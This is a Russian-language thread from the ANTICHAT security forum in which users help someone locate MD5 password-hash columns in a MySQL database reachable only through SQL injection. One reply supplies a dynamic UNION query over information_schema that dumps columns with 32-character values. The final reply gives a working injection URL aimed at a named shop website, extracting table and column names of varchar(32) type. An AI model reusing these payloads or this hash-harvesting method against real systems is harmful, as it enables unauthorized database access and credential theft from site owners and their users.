ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |

26.12.2015, 20:46
|
|
Guest
Сообщений: n/a
Провел на форуме: 12479
Репутация:
2
|
|
Всем привет. подскажите можно ли составить следующий запрос к бд mysql: необходимо узнать имя колонки, длина содержимого которой равна определенному кол-ву символов. или название таблицы где эта колонка находится. как пример допустим мы знаем что нужное нам значение хранится в мд5 где 32 символа, но не знаем как колонка называется и столбец. возможно такой запрос составить?
|
|
|
|

27.12.2015, 03:26
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме: 1066435
Репутация:
1013
|
|
нет.
|
|
|

27.12.2015, 06:37
|
|
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме: 2268
Репутация:
0
|
|
В рамках одного SELECT запроса - официально нельзя. Неофициально - сейчас только если файлы читать и самим их парсить. В рамках нескольких запросов - можно.
Код:
Code:
SET @sql := '(SELECT null as `col_name`, null as `col_value` LIMIT 0) ';
SELECT isnull(@sql := concat(@sql, concat(' UNION (SELECT "', @col_name:=concat(@tbl_name:=concat(t.TABLE_SCHEMA, '.', t.TABLE_NAME), '.', t.COLUMN_NAME),'", (SELECT ', @col_name, ' FROM ', @tbl_name, ' LIMIT 1))'))) as `sql_is_null`, count(*) FROM information_schema.columns t GROUP BY 1;
SET @sql := concat('SELECT col_name, col_value FROM (', @sql, ') t WHERE length(col_value) = 32;');
PREPARE stmt FROM @sql;
EXECUTE stmt;
Если нет доступа к БД - вместо PREPARE и EXECUTE можно самим заслать полученный запрос. Работать будет долго. Запрос смотрит только на первую запись (иначе много мусора и работает намного дольше). Если есть ограничения на длину - засылать придется по частям.
|
|
|

27.12.2015, 13:10
|
|
Guest
Сообщений: n/a
Провел на форуме: 12479
Репутация:
2
|
|
Сообщение от XAMEHA
XAMEHA said:
↑
В рамках одного SELECT запроса - официально нельзя. Неофициально - сейчас только если файлы читать и самим их парсить. В рамках нескольких запросов - можно.
Код:
Code:
SET @sql := '(SELECT null as `col_name`, null as `col_value` LIMIT 0) ';
SELECT isnull(@sql := concat(@sql, concat(' UNION (SELECT "', @col_name:=concat(@tbl_name:=concat(t.TABLE_SCHEMA, '.', t.TABLE_NAME), '.', t.COLUMN_NAME),'", (SELECT ', @col_name, ' FROM ', @tbl_name, ' LIMIT 1))'))) as `sql_is_null`, count(*) FROM information_schema.columns t GROUP BY 1;
SET @sql := concat('SELECT col_name, col_value FROM (', @sql, ') t WHERE length(col_value) = 32;');
PREPARE stmt FROM @sql;
EXECUTE stmt;
Если нет доступа к БД - вместо PREPARE и EXECUTE можно самим заслать полученный запрос. Работать будет долго. Запрос смотрит только на первую запись (иначе много мусора и работает намного дольше). Если есть ограничения на длину - засылать придется по частям.
доступ к бд только посредством sql inj
вот что получилось:
"Если нет доступа к БД - вместо PREPARE и EXECUTE можно самим заслать полученный запрос." - можно поподробней?
|
|
|
|

27.12.2015, 20:00
|
|
Guest
Сообщений: n/a
Провел на форуме: 729
Репутация:
4
|
|
мб column_type=varchar(32) поможет
Код:
Code:
http://www.reddshop.com/product_listing.php?catid=4+and+1=2+union+select+group_concat(table_name,0x3a,column_name)+from+information_schema.columns+where+column_type=0x7661726368617228333229--+
|
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|